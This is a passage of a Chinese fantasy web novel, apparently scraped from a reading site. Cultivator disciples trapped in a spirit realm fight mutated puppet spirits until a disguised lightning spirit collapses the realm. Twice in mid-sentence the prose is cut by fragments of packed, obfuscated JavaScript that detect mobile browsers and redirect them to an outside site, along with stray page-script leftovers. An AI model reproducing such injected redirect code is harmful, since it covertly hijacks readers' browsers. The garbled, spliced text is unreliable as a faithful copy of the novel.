没有头的尸体,死后化为鬼灵的概率极高,更别提这几人生前还恶咒缠身。他只能又带着几名同门,配合城内守卫,四处找起遗失的人头。结果人头没找到,反倒是出去找人头的师弟师妹们,走一个丢一个、走一个丢一个…… 最后设法劈开了失踪者留下的玉牌,找到藏在里面的传送咒术。这才大致搞清楚情况。 他赶紧将消息传回师门,又自己闯入救人。不想这鬼地方,远比他想得还要麻烦—— “……我的个花神奶奶啊。” 又是一阵重物倒塌的声响。黑暗之中,一团荧光亮起,躲在结界里的陆子月举着发光的拇指,小心翼翼地朝外张望。 “大师兄?现在,可以出来了吗?” “……嗯。” 郁清和柱剑于地,疲惫应了一声。 更大的光团随即膨开,几乎点亮整个房间。陆子月带着其余同门从结界中走出,看到散落一地的尸块,脸色登时一变。 “乖乖,这都啥玩意儿啊。”他蹲下身,用剑柄拨弄着地上一块黑漆漆的血肉,“长得奇形怪状,又水火不侵。下毒下咒都没用,每个还都长得不一样……嘿,你看这断面,一点血没有!” 郁清和乜他一眼,没有理他,原地喘了一会儿,转头看向不远处正凑在一起的一对少男少女: “开晦、西明,你俩琢磨出个头绪没有?” “没呢。难度超纲了。”少女头也不抬,答得那叫一个理直气壮;旁边少男亦是尴尬抬头:“对不住啊大师兄,这题……不,我是说这阵,有点难。” 郁清和:“……” “大师兄,别急别急。”陆子月见他满头大汗,赶紧掏出一个葫芦递过去,“这俩小孩平时不咋出门,紧张,你越催他们越想不出来。” “……你也知道他们没出过门啊?”郁清和冷冷看过来,从葫芦里倒出两粒药丸,“那你还带到明泽来?” “诶呀我这不是想着,正好带他们见见世面吗。”陆子月讪讪一笑,“师尊只和我说带几个人来找你,劝你回来。我寻思,你能为难我们吗,肯定不能啊,带俩小的,你肯定心软。回头把这事当师门任务报上去,两小只还能混个资历……谁能想到会遇这事啊。” 陆子月也是无奈,老头似地把手一揣:“就是不知道外面现在什么情况,其他同门又是怎样处境……诶,师兄。” 他拿胳膊肘戳戳郁清和:“你说你那相好,会不会正在找人来救我们啊。” “……!” 郁清和正把那两粒药丸往嘴里拍,闻言差点呛出来。 “陆子月!”他微皱起眉,“我说了多少遍,我没有相好——” “得了吧,没有你拒婚!还死不回去。”陆子月嗤一声,“门内都传呢,说你肯定是另有心上人,为了她,宁愿放弃大道,抛师弃门……” “你再说下去,我就把你给抛尸了。”郁清和面不改色,把葫芦又重重塞回他手里。 “看好他俩,我调会儿气。调完再去引两只过来,你们及时回结界躲着。我不死,结界不会破。” “啊?你还去啊?”陆子月听着却是惊了,“师兄!这都已经五个了!至少我们在的这块地方已经干净了,你歇歇吧!” “问题是其他的地方不一定干净。”郁清和道,“不是你说的吗?这地方肯定还有其他空间,那些空间里,肯定还有其他同门。而这些妖异,它们可以自由在所有空间里穿梭,我能杀了它们,其他人呢?” 他望着陷入沉默的陆子月,站起了身:“我多杀一个,其他人就多安全一分。很简单的道理。” 他说完,提剑就要往外走。陆子月一愣,忙也跟着站起来:“不是,那也不急这一时——你至少等我再看看,分析出这到底是个什么东西,咱有的放矢啊。不然你就这样一直硬砍,不白瞎力气吗?” “……”郁清和停下脚步,蹙眉看过来,“那你分析出来了吗?” “哎呀,这不还在看。”陆子月挠头,“我刚说了,这东西太怪了……咦?” 似是注意到什么,他声音一顿。 跟着便见他眼睛一亮,快步过去,捡起个东西。 “这我认识!这是偃甲的中枢啊!”他难以置信地望着手中的碎片,又猛扑上去,用剑挑开好几个尸块,越发肯定自己的想法,“这、这些怪物……它们是偃灵,都是偃灵!” 这话一出,在场几人齐齐变了脸色。 不是因为这东西不常见——恰恰相反,是太常见了。 众生芸芸,灵裔万千。而其中,偃灵无疑是较特别的一支。原因很简单,因为它根本就不能算是灵裔。 昔年青城杨氏,尤擅偃术,凭此开宗立派,传承至今。后人李异想,更是开创性地创造了偃灵,也叫“肉偃甲”,不仅补足了原有偃甲动力不足、行动迟缓的缺点,更令偃甲长出血肉、点亮五感、初萌思维…… 换言之,偃灵是唯一一种由人创造的灵。 “但……不对吧。” 听到陆子月的声音,那俩少年也凑过来。其中一人轻轻摇头:“偃灵不是都很像人吗?还特别漂亮。这里的……怎么看都不像啊。” 她说着,视线扫过地面。一地尸块凌乱,每块都奇形怪状,有的长着羽毛,有的长着鳞片。有的肢体扭曲,表面上还生着藤蔓…… 简直就像是把一堆动物植物都放进了一个大缸里,用杵碾碎后又胡乱团起来一样。 少女被自己的想象恶心了一下。郁清和微微垂眼,面露思索: “或许是因为……它们进食了。” “?”少女诧异,“大师兄,你什么意思?” 郁清和还未作答,一旁少男似是明白了什么,喃喃开口:“我曾在书上看到过,灵裔有一种修炼的邪法,叫做食灵。即靠吃其他灵来修炼,吃得越多,提升越多。” “没错。”郁清和点头。少女愈发诧异:“可偃灵……它也能吃吗?” “理论上不会主动吃。但偃灵不会反抗它的使用者,如果他逼着吃,偃灵就只能吃。”陆子月也渐渐明白了,“偃灵也是灵,进食之后,肯定会有提升。但它没法修炼,能消化的程度也有限,无法同化的力量外显,就直接体现为了躯壳的异化。” 少女噫了一声,随即恍然:“难怪这东西那么难打!水火不侵,咒毒无用……” 说完看了眼一地扭曲的尸块,又觉得不对:“但这样,岂不是很浪费?” “的确。”旁边少男一下就懂了她的意思,“都喂成这幅鬼样子了,可见那幕后黑手给这家伙喂了多少妖灵。没有一百也有几十了。若喂的是低阶幼灵,数量只会更多。” “这样大量的投喂,若是给一个正常妖灵,只怕一个大魔头都喂出来了。” “诶,有道理啊。”陆子月也回过味儿来了,“而且偃灵的初始境界很低的。市面流通的偃灵都只有胜刀境,撑死也就到天衣。但这些偃灵,看实力怎么也得到灵奴了。这可都是硬生生用其他灵的命堆上去的……” “有这心力能力,直接去抓个大妖来不更好吗?非要在这儿巴巴地喂木头人?”他越想越不解,“真的,太奇怪了。为啥啊……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151634|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * “还能为什么?听话呗。” 另一边。昏暗客栈内。 大堂里,钟默漫不经心地蹲在地上,正和苏若桃一起打量掉在地上的巨大尸首,说得那叫一个理所当然。 尸体的主人不是别人,正是不久前,差点把苏若桃一斧头劈死的所谓邪物。 苏若桃与钟默交流过情况,便一起找起出口。顺着楼梯来带大堂,借着烛火的幽光,这才发现那东西原来早就摔死在了一楼。 她当然不认为这家伙是真摔死的,只当它是摔到一楼时,不慎撞上了什么机关,在看到对方皮肉上那显而易见的、仿佛被雷贯穿的焦痕后,更是肯定自己的想法。 忍不住再次谢了一番她那天降神兵般的初音师妹,苏若桃硬着头皮上去找线索。特意借了钟默的那只断手扒拉,意外打开了对方身上的控制中枢,这才发现这居然是个偃灵。 而与另一边的同伴一样,很快,她也陷入了同样的困惑——明明还有更好的选择,为何那幕后黑手偏要去养收益最低的偃灵? 对此,钟默倒是没有任何疑惑。纯图个听话呗,还能为什么? “不可能。”苏若桃一言难尽地看她一眼,“这想法也太肤浅了些。” “但实际。”钟默懒洋洋道,“对人来说,什么不是工具?既然是工具,当然是越听话越好,不是吗?” “……”似乎也有些道理。 但不知为何,苏若桃总觉得,钟默不像是只在说这偃灵的主人。 “如此倒也说得通。”她深深看了眼钟默,“只是师妹你这话,未免武断了些。” “武断吗?说错了?”钟默微微侧头,声音幽幽,“谁不是?你不是?” “……”怎么回事?怎么突然跟个炮仗似的? 苏若桃张了张嘴又闭上。这才意识到,似乎在看清这偃灵的躯体后,钟默的语气就一直不太好。 是在生气吗?谁惹她了?总不能是我吧? 苏若桃不确定地想着,抬手安抚地摸了摸坐在肩上的小人——不知为何,它从刚才起就一直瑟瑟发抖。 她自然不知这崽儿是被钟默的隐怒吓到了,略一思索,还是开口:“人灵之间,共生已久。结伴的方式也多种多样。我不知你为何动怒,但人有千般,绝不全是你说的那样。” “嗤。”黑暗之中,钟默似乎笑了下。这还是苏若桃第一次听见她笑。 “那我问你。”钟默道,“灵有六阶,是哪六阶?” 苏若桃不假思索:“胜刀、天衣、灵奴、仙班……” 话未说完,似是意识到什么,声音渐渐低了下去。 钟默又是一笑,倒提着那手,自顾自地开始四下张望:“这不都明着说了吗? “木头木脑,像个物件儿,但比刀好用,就叫胜刀;有点灵性,算个小神器,就叫天衣。有神智了,不能算物件了,就叫灵奴……” 她瞥了眼苏若桃:“字字句句,哪里不是工具?” “……”苏若桃这回是真语塞了,顿了会儿才勉强道,“刚才那只是我说顺嘴了。其实还有一种说法,什么萤心破梦、游灵自在的,大家也常说……” 像是意识到这辩解其实挺无力,她说着说着又停了。过了片刻,才又道:“好吧,我承认,胜刀天衣什么的,确实不太中听。 “但……也有尊称嘛。像灵奴之后就是仙班,一些愿意提供庇护的大能,我们也都是叫祖师祖奶奶的……” “叫得好听罢了。”钟默头也不回,“还仙班。都上工上班了,还仙得起来吗。自在个头。” 苏若桃:“……”回不了。这句是真的,一点儿没法反驳。 另一边,似是感觉到什么,钟默终于转过了头。正对上苏若桃肩上小人可怜巴巴的双眼。 一边望着她,一边无声地拜拜。因为抖得太厉害,拜拜的同时,还得时不时得伸手抓抓苏若桃的头发,以免自己滑落。 钟默:“……” “算了。”默然几息,她克制地吸口气,再次转身。 “不说这个了。专心找路。这里瞧着像是个灵域,别指望走大门了,另找出口吧。” 7.第七章 灵域,也叫灵巢。在过去是只有强大灵裔才能编织出来的异域空间,独立人间,四时自定,古今传说中不少关于秘境、仙境的传闻,其本质,其实就是灵裔编织的灵巢。 约莫四百年前,人族成功破解灵域编织之法,并在此基础上,研发出了更为便捷实用的结界术。后者从此成为修灵者的必修课,而作为源头的灵域编织,却因繁琐晦涩,渐渐沦为小众术法,所幸也从未失传。 当今三门之一的云兰叶氏,便是以结界与灵域术见长。每逢特殊节日,还会编织应景的灵域,在其中布景设宴,招待百姓,因其手法高超景致精妙,不少修灵者也会去凑热闹。 像苏若桃就去过。前年夏至,她借口外出除灵,跑去看了叶家在灵域里摆的冰灯会……但除此之外,她对灵域,就真没更多了解了。 “这可真麻烦了。”她举着烛火,轻轻叹气,“据我所知,灵域之中,虚虚实实、自有规则,宛如迷宫一般,有的更是连出口都没有……” “怎么会没有。不好找罢了。”钟默淡声,甩苍蝇拍似地挥着手里的断手,信手砸开一个隐藏的机关符文,“这不你说要先找通往其他空间的入口吗。” 不然的话,硬砸个门出去就是了,费那么多劲。 “当然先找通道啊。总得先和其他人汇合。”苏若桃立刻道,“只可惜我现在灵力枯竭,不然直接用个探路寻踪的法术,至少还能确定下方向。” 不期然又想起那沾在栏杆上的血迹,她话语一停,手中烛火又是一阵颤动。 钟默自然不知道她在难受什么,对什么找通道找同门更是毫无兴趣。她本来就是看在那漂亮小人的份上才来找苏若桃的,别人的死活她才懒得管。 事实上,这灵域虽做得不错,凭她能力要直接轰开也不是难事。只是这样一来势必会造成大塌方,域内又有其他人族在,要是死了,她还得背负反噬,实在太亏;若要单独只破坏这一格空间,也不是不行,就是需要些技巧,为免节外生枝,还得设法先放倒苏若桃…… 简而言之,麻烦。 也就是在她琢磨这些事的档口,苏若桃提议到一楼看看。正好她那时也在好奇那堵门的怪物到底是个什么东西,便跟着去了——结果倒好,对方的身份搞明白了,自己的火气也被搞起来了。 火了、烦了、全劈了算了—— 冷冷扫了眼那由无数灵裔性命堆成的庞大躯体,钟默面无表情,啪一下又拍碎一个机关符文。 昏暗之中,苏若桃也不知她在干嘛,只轻声提醒她别闹太大动静,小心机关,顿了顿,又问她有没有学过什么寻人找路的术法,这会儿或许用得上。 “我怎么可能会。”钟默头也不回,“那是你们人……芳菲谷的法术,我又没学……” 话没说完,突然一个停顿。钟默转头又看眼偃灵尸体,突然有了个新的想法。 “我……没学过。”她话语急急转了个弯,“但我有办法。你等着。” 说着便独自上了楼。不想苏若桃太过生疑,还装模作样地也带了根蜡烛。 没过多久又下来,手里多了个小包袱。 正是她之前在弟子房间内翻到,又稀里糊涂带进来的那个。 这包袱东西应是某个弟子私下藏的,苏若桃也没见过。就着烛火打开来看了看,困惑地拎起一张写满大半的信纸: “这是什么?” “不知道。打包时顺手拿的,你可以留着点火。”钟默无所谓地说着,拿起一只小木鸟,“你别看那,看这个。这东西可以用来找人,对吗?” “诶——对对!它可以!”苏若桃这才注意到木鸟的存在,连忙点头,“这是本宗的传讯青鸟!不过你会用吗?” 钟默:“……”你以为我为什么要把它拿给你看。 “不会?也没事。”苏若桃立刻道,“我记得在鸟嘴下面还有一个应急符文,一旦触发,就会自动飞向距离最近的同门。只要灵力就能启动,无需持咒。” “哦。”钟默了然,很快找到她说的那个符文,“这个?” “对。”苏若桃点头,“只要注入灵力就行,灵力越多越精纯,这鸟就飞得越……” 话音未落,咻地一声。钟默手中小鸟弹射起步,转眼隐没于黑暗。 “……快。”苏若桃喃喃将话说完。 钟默:“我以为它会直接撞到你身上。” 苏若桃:“自然不会。木鸟的初衷就是为了远距离传讯,距离三丈内的同门都是会被直接忽略的。” 而且那个力道,你是想在我脑袋上开瓢吗…… 后半句苏若桃忍着没说,还好包袱里还有只木鸟。 “也不知你到底什么来头,灵力精纯,力气又大,挺好的苗子,怎么就被孟长老捡去了。”她嘀嘀咕咕,将另一只木鸟拿给钟默,“给,再试试。这回可要控制好力道,一点点灵力就够了。” “哦。”钟默接过看看,面露思索,“不过这里这么暗,这东西又小。哪怕飞得慢,也不容易看到吧。” 她从包袱里又拿出一卷红线:“用这个拴上,好找。” 苏若桃:“……可这是正宗的红鸾线。” 钟默:“?所以?” “有灵性的。人家都是用来找心上人的……”苏若桃话说一半,自己也后知后觉地意识到可笑,用力摇了摇头,“算了,都这时候了,还信这些。就它吧。” 光线昏暗,操作不易。她便扯出线头,交给肩头的小人,由她将红线仔细绑在木鸟上。很快,木鸟飞起,拖着红线,摇摇晃晃往前飞去。 大堂内仍有暗藏的机关,即使邪物已死,她们依旧走得小心翼翼——准确来说,是苏若桃走得小心翼翼。 直到随着木鸟一路转到后院,四周某种无形的压力散去,她这才感到稍稍放松一些。 再看手上不断转动的红线线团,她忽然轻笑一下。 “说起来,我小时候听过一个故事。”苏若桃道,“说有一群修士,被困进了一个灵巢中。那灵巢里面被分隔成无数房间,但每个房间之间,都有门相连。他们为了找路,也得像这样,放出长线,可他们手并没有线团。” 她问钟默:“你知道他们是怎么做的吗?” “不知道。”钟默兴趣缺缺。 苏若桃没在意她的语气,自顾自继续道:“他们手中,正好有一个邪灵娃娃,那娃娃的头发会不停长……啊。” 话未说完,线团的转动停了。 被木鸟扯出的红线软软塌再地上。苏若桃神情微变,赶紧跟了上去,顺着红线一路来到后厨,正见那只木鸟掉在一堵灰墙旁边。 旁边还躺着不久前钟默放出的第一只鸟。灰墙之上,则分明闪着符阵运转的光芒—— “夜归门!”苏若桃一眼认出那符阵的名字,快步上前。待要靠近,面前却像是拦了一堵看不见的墙,怎么都过不去。 “别白费劲了,有结界。”钟默也赶了上来。她虽然不知道“夜归门”是什么,但看这架势,也明白了几分—— 那闪烁的符阵,也就是苏若桃说的“夜归门”,就是通往其他空间的入口。 估计是怕他们跑出去,入口附近还设了结界,偃灵可过,人不可过。 “可恨,这结界还挺牢。”苏若桃用剑劈了几下,见那结界纹丝不动,脸色微变,“初音师妹,破结界的法术,你学过多少?” “一点儿没有。”钟默站在她身后,语气淡漠。 苏若桃明显一惊,转头刚想说什么,后颈忽然一疼,跟着一阵酥麻,就这么软软倒了下去。 钟默人都懒得扶,就记得及时把她肩头的小人给拎起来了。冷漠地搓搓刚碰过苏若桃后颈的拇指和食指,两指间犹能看到微弱的电光闪烁。 “看好这人。有事叫我。碰这就行,懂?”她将小人放在苏若桃旁边,轻轻戳了下她额头,留下一道闪电般的印记;又捡起掉落在地的木鸟,连带着那卷红线一并拿在手里。想了想,又从腕上摘下一枚素镯,小心藏如怀中。 素镯是远在支门的映秋月给的,是她幻术的媒介。钟默怕等等不小心给碰坏了,搞得身上幻术失效,索性先收起来。 小人不知道她要去干什么,茫然地摸摸额头,又过来扯她裙角。钟默俯身,用食指抵着她往外推了推。 “别急,马上回来。说了帮你肯定帮你。还怕我跑了不成。” 她轻声说着,站起了身,再次环顾四周。 那幕后的人明显是冲着芳菲谷来的,为布这陷阱,却不知葬送了多少灵裔的命。 此刻所在的后院,不像大堂内那样机关重重,可钟默看得清楚,墙上地上,全是灵裔临死前留下的血迹。想来兽灵居多,许多血迹上还沾着破碎的骨肉皮毛。 真是不顺眼。太不顺眼了。 钟默默默地想着,缓缓后退一步。 下一瞬,猛然后仰,整个人倏然化作一团蓝白的电光,一头撞破结界,悍然冲进了墙上的符阵之中! * 恰在此时,另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168506|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边。 相似的灰墙。相似的符阵。 郁清和提剑站在守护符阵的结界之外,眉头紧锁,一脸凝重。 “师兄,你要不还是再歇歇吧。”陆子月是真觉得他这样不行,“这次的事明摆着就是早有预谋,这幕后黑手还没现身,你先为了打喽啰把自己耗干了,这不值当啊。” “喽啰?”郁清和转头看他,“第四代弟子里你排行第五,年少成名,这种偃灵你都没法处理,你管它们叫喽啰?” “我、我这是意外,我学毒的,这不正好被克……”陆子月一阵语塞,“总之你再等等,至少等西明师妹想出打开结界的法子。他俩专修这个的……” 总好过现在跟个鱼饵似地杵在这儿,用自己的灵力钓偃灵,等钓上来还要费劲巴拉地去宰…… 陆子月暗自腹诽着,忽听身后一阵尖叫。警觉转头,却见一双师弟师妹正抱着脑袋,脸色苍白地朝自己跑来! “怎么回事?”他立刻问了一句,问完才看到,两个少年的身后,正不远不近地缀着个闪光的东西—— 近球形、蓝白色、直径十多寸、噼里啪啦响…… “滚地雷!”他忍不住叫起来,“这怎么还有滚地雷!” “不知道!”奔近的师弟匆忙道,“我和师妹坐那儿研究,它突然就出现了!” 说完惊魂未定地回头看,在看清那滚地雷的动向后,却不由一怔。 按说滚地雷的速度应是极快,快到令人无法反应;他们面前这个却像刻意放慢了动作,追上他们后也不靠近,反而停悬在空中。 ……宛如活物一般。还是在思考的活物。 搞得几人越发不明所以。面面相觑,不约而同地朝着郁清和身后退去。 郁清和亦是浑身紧绷,横剑于前,满眼警觉。 下一瞬,却见那滚地雷又有动静了。 众人骇然的目光中,它光芒突闪,忽然就消失在原地,速度之快,肉眼根本看不清;直到旁边墙壁传来一声爆响,他们才意识到,这滚地雷原来是去撞了墙壁—— 紧跟着,又是一阵噼啪声响,那滚地雷沿墙走了一圈,竟又突然调转方向,直直朝他们冲来! 这一回,郁清和总算是跟上它的速度了,二话不说,抢上一步,一剑挥出。 他虽然疲惫,仍有一战之力,剑刃未到,剑意已至,过处一片森森冷意。 ——剑意撞上滚地雷的刹那,他却分明听到一声轻哼。 很轻的、女子的冷哼。像是嘲弄,又带着几分不耐烦。 离我远些——几不可查的低语随即响起,郁清和手臂一痛,几乎握不住剑柄,一咬牙,却还是站定脚跟,再度挺直背脊。 又是一声冷哼。那声音的主人却像是不想再理他了。聚拢的电光忽然膨开,化为散落的光弧向上窜去,郁清和一个收势不及,剑刃挥出,似是砍到了什么,触感轻飘飘的。 不等他反应过来,光弧又在上方聚拢成球,如彗星般绕过他们头顶——几人这才发觉,那滚地雷的目标原来不是他们,而是身后墙上的符阵。 噼啪一声,那个他们久攻不下的护阵结界应声碎裂。 滚地雷没入符阵,再不见半点踪迹。 只剩他们几人,怔怔站在原地。有什么从空中飘落,郁清和下意识抬眼伸手,正好接住一截飘下的红线。 “说起来,我不确定是不是我看错了。”一直沉默的师妹西明忽然出声,“但刚才,那滚地雷散开的时候,我好像看到了咱们门派的传讯鸟,它在电光里飞……” 陆子月刚想张口问郁清和手里的红线,听她这么说,注意力立刻转了过去。就在此时,却又听师弟叫了一声:“你们看,墙上有字!” 几人纷纷看去。果然,那刚被滚地雷撞过墙壁一片焦黑,焦黑之中,却分明刻着八个闪着电光的大字: 【这里要塌。能滚快滚。】 “什么意思?什么叫此处要塌……”西明喃喃着,恍然大悟,“难不成是有高人来救我们了?那滚地雷其实是来传讯的?!” “问题是,我们能逃去哪儿?”陆子月蹙眉,很识相地没有追究高人的措辞问题,“出口都还没找到呢。” “……多说无益,先动身吧。” 郁清和盯着手里的红线看了一会儿,终于出声:“护阵结界既破,自然要先去找其他人。至于别的,再说吧。” 语毕,深深看了眼墙上的留字。 略一迟疑,还是将那截红线收进了怀里。 8.第八章 郁清和所不知道的是,就在他们试探地越过符阵,小心翼翼地前往其他空间寻找同门时,那团神秘的、稍纵即逝的雷团,早就先他们一步,以惊人的速度,窜遍了几乎整个灵域。 电光作骨,木鸟为引,那直径不过十多寸的滚地雷噼啪咆哮着,撞碎一个个结界,闯过一个个符阵,不耐烦地在所有能被人看到的地方写下留言,途中还顺便撞死了几个正在觅食的偃灵—— 有人因此得救了,有人没有。最后一个偃灵被她撞翻时,脚边已然躺了个奄奄一息的芳菲谷弟子。他弥留之际唯一看到的,就只有那仿佛燃烧一般的、刺目又纯粹的白光。 很快,钟默又转回了原本的空间。被雷团再次穿过的刹那,用以穿越的符阵终于不堪承受般彻底破碎。 身形舒展,钟默将身体拉扯回了人类的形状。 沸腾过的灵力犹在躁动,半点也冷却不下来,它们以电弧的姿态漂浮于空中,又或是落在她身上;远远看去,她仿佛整个人被光芒环绕,又似裙摆上爬满雪白的蛇。 她也没在意,只侧头看了看身后破碎的符阵。又瞟了眼一直守在符阵附近的小人——电光灼目,她已经本能地捂起眼睛。旁边则躺着一动不动的苏若桃,很好,还没醒。 钟默满意点头,又体贴地等了一会儿。估摸着那些芳菲谷弟子应该已经差不多躲好后,方缓缓抬手,轻轻打了个响指。 ——一声轰鸣。 ——紧跟着,无数的轰鸣。 正忙着安置师弟师妹的陆子月骇然回头,这才发现,不远处那刚被滚地雷留过字迹的墙壁,竟已爆了。 不只是那面墙壁,所有被写过留言的墙壁,都爆了。整个空间都开始震荡,肉眼可见的一切都开始龟裂崩解,陆子月慌忙回身,大声指挥师弟师妹赶紧往结界里躲,才刚说完,竟又听见一个耳熟的声音从远处传来—— “五师兄?是五师兄吗?你也进来了?你们在哪儿?” “!”认出这是自家另一个师妹的声音,陆子月忙应了一声,边回应边向四周看去。还未完全搞清状况,却听更多的声音从四面八方传来: “真是五师兄?我是老八!你们在哪儿?” “这……能听见我说话吗?五师兄?八师兄?” “在下外门弟子杨天,不知诸位同门可能听见?我们这儿有一个师弟,急需治疗——” “先别说这些了快躲好吧!没见快塌了吗?千万小心有字的墙壁,都躲远点!” “我布了防护结界,但不知有没有用……” “等等,有字的墙壁?难道你们也看到了那滚地雷——” “行了。都安静。” 就在陆子月被各处涌来的声音吵得头都大时,又一道熟悉的声音响起。 音量不大不小,却格外平稳有力,不仅压过了所有的人声,连四周不断的崩塌声都盖了过去,清晰地传进每一个人的耳朵里。 陆子月长舒口气,如释重负般开口:“大师兄!你可算又冒出来了——” “你也安静。” 另一个空间内,正独自提剑赶路的郁清和镇定开口,面不改色地避开头顶连续落下的木块。 他是在不久前与陆子月三人分开的。因不知所谓的“要塌”究竟会于何时发生,他思来想去还是决定单独行动,由自己穿过符阵继续找人,陆子月三人则留在原地,继续加固结界,以防万一。 事实证明,他想得还真没错——他前脚才刚找到一个同门,后脚这灵域就开始塌了。 准确来说,找到的是同门的尸首。郁清和连悲伤的时间都没有,将对方尸体匆匆收进随身的芥子袋便起身赶路,试图继续寻找被困的同门。 恰在此时,仿佛某种无形的障壁被打破一般,被困在不同空间内的同门虽仍无法看到彼此,声音却流通起来。 他大致听了一会儿,终于出声,边赶路边凝神提气,尽可能地确保自己的声音传进每一个活着的同门耳中: “大家听我说,不必慌张。此片灵域承脉被毁,正在崩塌,这是好事。现在我们能听到彼此的声音,就是灵域正在解体的证明。只是解体需要时间,大家万不可急躁,千万保护好自己…… “能布结界的先将结界布下,无法布置的就按云梦师弟所说,尽可能远离留过字的墙壁——杨天师弟,你身上可有木鸟?有的话让它来寻我,我去救人。” 方才杂声纷纭,他却还是精准认出并记下了所有的声音。听到那外门弟子说没有传讯木鸟,又赶紧问了他受伤师弟的状况,匆匆教了两个应急的治疗灵诀。 教完没多久,便得到消息说那师弟情况缓和,郁清和暗松口气,又听有人正为当下状况而困惑,这才沉声道: “我仔细看过,那些留字的墙壁应当就是这个灵域的承脉所在。想来是有高人出手相救,提字提醒在先,毁脉破域在后……” 说话间,他足尖轻点,又跳过面前一片巨大的塌陷。语气维持着平静,心中却止不住地泛起波澜。 所谓“承脉”,即是灵域中起支撑作用的重要构建部分,承脉被破坏,灵域就会不稳定,若是承脉全被破坏,再牢固的灵域都会土崩瓦解——这是他之前就知道的事。 说的通俗点,若把灵域比做一栋建筑物,承脉,就是其中最关键的柱子。 ……而就在他们还在慢吞吞地试图破解灵域找出口的时候,有的人,她已经直接动手砸起了柱子。 还砸完了。一根都没漏掉。一根都没放过。 还是在从头到尾没有露面,仅远程操控着一枚雷球的情况下。 究竟是怎么做到的? 郁清和暗自感叹着 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有人正站在那空间之中,背对着墙面。从郁清和的角度,只能看到淡淡光芒中,一头如瀑的乌发,正被蓬勃的灵力激得飞扬。 郁清和认不出那是谁。事实上,他也不认为自己认识那人。他本能地想要横剑于前,不知怎么,此刻闯进脑海的,却是那根从空中飘落的红线。 墙壁的碎裂还在继续,宛如片片凋零的壁画,似是终于察觉到他的存在,那人半转过头,大半侧脸隐没于扬起的发丝下,只能隐约看到些眉眼,精致却淡漠。 她又开口了,依旧是那种带着疑问的语气:“郁清和?” “……” 我是——不知不觉又上前一步,他本能地张口,正想要回应,耳畔却又是一阵轰然。 这个灵域,彻底解体了。 破碎的墙壁不再。取而代之的是一扇打开的窗户。郁清和缓缓眨眼,这才意识到自己已经脱离灵域,回到了位于明泽城的客房之中。 也就是他最初被拉进灵域的地方。 屋外传来陆子月的欢呼,而后是一阵急促的脚步。陆子月推门而入,面上是掩不住的庆幸: “还真出来了!太好了!大师兄,你可知那高人是谁?还好这次运气好遇上了她……大师兄?” 他奇怪地看着郁清和,拿手在他面前晃了晃:“大师兄?你没事吧?怎么魂不守舍的?出什么事了吗?” “……” 郁清和转头看他一眼,顿了半晌,方轻轻摇了摇头。 “没事。” 他低声说着,忍不住又看了眼窗外。 那里除了已经开败了的花,什么都没有。 9.第九章 对于很多芳菲谷弟子来说,这从头到尾就像是一场梦。混乱的噩梦。 明明只是跟着师兄师姐一起做着简单的除灵,突然就被抓进了一个奇怪的地方。五感弱化、功体被制、机关重重、无处可逃,四周还总有无法理解的邪物在活动——一个不慎,就是死局。 突然间,黑暗中有雷光划过。又一个突然间,整个空间都开始崩塌。等回过神来时,自己又回到了最初被抓的地方,一切恍如隔世。 开始得稀里糊涂,结束得也莫名其妙。尽管在临近崩塌的时刻,他们不少人都听到了大师兄郁清和的声音,也听到他在给大家尽力解释状况,但说实话,许多人依旧一头雾水,就听懂“高人相救”几个字。 当然,他们还算是幸运的。因为还有相当一部分人,他们连这几个字都没机会听到——有的,甚至尸首都没有被带出来。 随着神秘灵域的崩塌,芳菲谷本宗专用的传讯木鸟接二连三地于各地起飞。无数的消息被传递、汇总,渐渐交织出一个触目惊心的数字。 不止是明泽城的弟子。这几天里,前往各地执行任务的芳菲谷门人中,足有四个队伍、共二十一人被拖入灵域中。其中,除了以郁清和为首的四人外,其余队伍,皆有伤亡。 这还没算芳菲谷外门的弟子。 芳菲谷弟子共分支门、外门、内门三阶。其中支门的门人皆由对应的支门主事负责招收和教导。格外优异,或通过大考的弟子,便可进入本宗,成为外门弟子,由本宗的师长□□授基础心法、灵决及各项基本功。等全部掌握通过考核了,才可正式拜入芳菲谷诸位长老门下,成为真正的芳菲谷门人。 换言之,外门算是内门的预备役。他们学艺未精,根本不到能外出除灵的地步,离谷往往也只为处理私事。不像内门那样成群结队行动。这就导致他们一旦被抓,找到同伴的概率都大大降低,更别提…… 更别提生还的概率。 草草一番统计下来,内门弟子死亡六人,外门弟子,却足足达到了十八人。此外,还有昏迷不醒的,加起来也得有十多人。 这对芳菲谷来说,无疑是一次重大打击。幕后黑手的销声匿迹,更令人倍感不安。 当然,这些此刻的钟默并不清楚。 她也不在乎。 她只站在客栈的房门外,依着墙壁,偏头望着里面的苏若桃。 苏若桃是在不久前醒的。醒在她自己的房间。 钟默懒得说话,更不想应付她醒来后的问东问西,索性赶在她醒来之前,也往旁边一躺,装作自己也昏迷刚醒的样子,因为太过匆忙,躺下时还被地上的杂物磕了下。 那都是她们脱离灵域时,跟着一起掉出来的东西。什么信纸、红线、木鸟……跟着钟默进去转了一圈,居然也都全须全尾地出来了。 钟默也懒得整理,全部往自己袖子里一扫。躺下没多久,果然就听到了旁边苏若桃苏醒的声音。 不过和她想得不一样。醒来的苏若桃并没有太多时间去惊讶和发问。 因为就在她们的隔壁,那两个同样在客栈内消失的师弟也回来了。一死一伤。伤得那个浑身是血,还在昏迷。 